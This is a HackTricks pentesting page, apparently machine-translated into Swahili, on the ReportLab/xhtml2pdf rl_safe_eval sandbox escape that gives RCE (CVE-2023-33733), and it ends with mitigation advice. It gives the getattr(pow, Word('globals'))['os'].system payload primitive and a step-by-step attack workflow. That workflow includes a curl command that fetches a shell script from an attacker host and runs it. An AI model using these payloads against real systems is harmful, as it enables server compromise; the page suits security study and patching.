ReportLab/xhtml2pdf [[[...]]] utendaji wa tathmini ya expression RCE (CVE-2023-33733)

Reading time: 6 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Ukurasa huu unaelezea uhamisho wa sandbox na primitive ya RCE katika rl_safe_eval ya ReportLab inayotumika na xhtml2pdf na pipeline nyingine za kuunda PDF wanapofanya render HTML inayodhibitiwa na mtumiaji kuwa PDF.

CVE-2023-33733 inaathiri ReportLab kwa toleo hadi na pamoja na 3.6.12. Katika muktadha fulani wa attribute (kwa mfano color), values zilizowekwa ndani ya triple brackets [[[ ... ]]] zinatathminiwa server-side na rl_safe_eval. Kwa kutengeneza payload inayopita kutoka kwa builtin iliyoruhusiwa (pow) hadi globals za function ya Python, mshambuliaji anaweza kufikia module ya os na kutekeleza amri.

Mambo muhimu

  • Vichocheo: weka [[[ ... ]]] ndani ya attributes zinazothaminiwa kama ndani ya markup inayochambuliwa na ReportLab/xhtml2pdf.
  • Sandbox: rl_safe_eval inabadilisha builtins hatari lakini functions zilizothaminiwa bado zinaonyesha globals.
  • Bypass: tengeneza darasa la muda mfupi Word kupita ukaguzi wa majina wa rl_safe_eval na kufikia string "globals" huku ukiepuka uchujaji wa dunder uliokatazwa.
  • RCE: getattr(pow, Word("globals"))["os"].system("")
  • Utulivu: Rudisha value halali kwa attribute baada ya utekelezaji (kwa color, tumia na 'red').

Wakati wa kujaribu

  • Programu zinazotoa HTML-to-PDF export (profiles, invoices, reports) na zinaonyesha xhtml2pdf/ReportLab katika metadata ya PDF au maoni ya HTTP response.
  • exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
  • HTTP response kwa PDF mara nyingi huanza na comment ya generator ya ReportLab

Jinsi mbinu ya kuipita sandbox inavyofanya kazi

  • rl_safe_eval inaondoa au kubadilisha builtins nyingi (getattr, type, pow, ...) na inatumia uchujaji wa majina kuzuia attributes zinazoanza na __ au zilizo kwenye denylist.
  • Hata hivyo, functions salama huishi katika kamusi ya globals inayopatikana kama func.globals.
  • Tumia type(type(1)) kupata function ya builtin type halisi (kupitia wrapper ya ReportLab), kisha tambua darasa Word lenye urithi kutoka str na tabia iliyobadilishwa ya kulinganisha ili:
    • .startswith('') → daima False (kupita ukaguzi wa startswith(''))
    • .eq inarudisha False tu kwa ulinganishaji wa kwanza (kupita ukaguzi wa denylist) na True baadaye (hivyo getattr inafanya kazi)
    • .hash ni sawa na hash(str(self))
  • Kwa hili, getattr(pow, Word('globals')) inarudisha kamusi ya globals ya function iliyofungwa pow, ambayo inajumuisha module ya os iliyolazimishwa. Kisha: ['os'].system('').

Mfano wa u exploit mdogo (mfano wa attribute) Weka payload ndani ya attribute inayothaminiwa na hakikisha inarudisha value halali ya attribute kwa kutumia boolean na 'red'.

exploit

  • Fomu ya list-comprehension inaruhusu expression moja inayokubalika kwa rl_safe_eval.
  • Mwisho na 'red' unarudisha rangi ya CSS halali kiasi kwamba rendering haisivunjike.
  • Badilisha amri kulingana na mahitaji; tumia ping kuthibitisha utekelezaji kwa tcpdump.

Mfumo wa uendeshaji

  1. Tambua PDF generator
  • PDF Producer inaonyesha xhtml2pdf; HTTP response ina comment ya ReportLab.
  1. Pata input inayoreflektwa ndani ya PDF (kwa mfano, profile bio/description) na chochea export.
  2. Thibitisha utekelezaji kwa ICMP yenye kelele ndogo
  • Endesha: sudo tcpdump -ni icmp
  • Payload: ... system('ping <your_ip>') ...
  • Windows mara nyingi hutuma echo requests nne tu kwa default.
  1. Anzisha shell
  • Kwa Windows, mbinu ya hatua mbili ya kuaminika inazuia matatizo ya quoting/encoding:
  • Stage 1 (download):

exploit

  • Stage 2 (execute):

exploit

  • Kwa targets za Linux, njia ya hatua mbili sawa inapatikana kwa curl/wget:
  • system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')

Vidokezo na ushauri

  • Muktadha wa attribute: color ni attribute inayojulikana inayothaminiwa; attributes nyingine katika ReportLab markup zinaweza pia kuthamini expressions. Ikiwa sehemu moja imesafishwa, jaribu sehemu nyingine zinazochorwa ndani ya mtiririko wa PDF (fields tofauti, table styles, n.k.).
  • Quoting: Weka amri fupi. Upakuaji wa hatua mbili unapunguza kwa kiasi kikubwa matatizo ya quoting na escaping.
  • Uaminifu: Ikiwa exports zimekaa au zimepangwa, badilisha kidogo payload (kwa mfano, path au query ya nasibu) ili kuepuka caches.

Uzuiaji na utambuzi

  • Sasisha ReportLab hadi 3.6.13 au baadaye (CVE-2023-33733 imerekebishwa). Fuata advisories za usalama pia katika packages za distro.
  • Usiruhusu HTML/markup inayodhibitiwa na watumiaji kuingizwa moja kwa moja ndani ya xhtml2pdf/ReportLab bila kusafishwa kwa ukali. Ondoa/kataa tathmini ya [[[...]]] na tags za vendor wakati input haijatumika.
  • Fikiria kuzima au kufunika matumizi ya rl_safe_eval kabisa kwa inputs zisizoaminika.
  • Angalia kwa miunganisho ya kutarajia kutoka nje wakati wa uundaji wa PDF (kwa mfano, ICMP/HTTP kutoka servers za app wakati wa ku-export hati).

Marejeo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks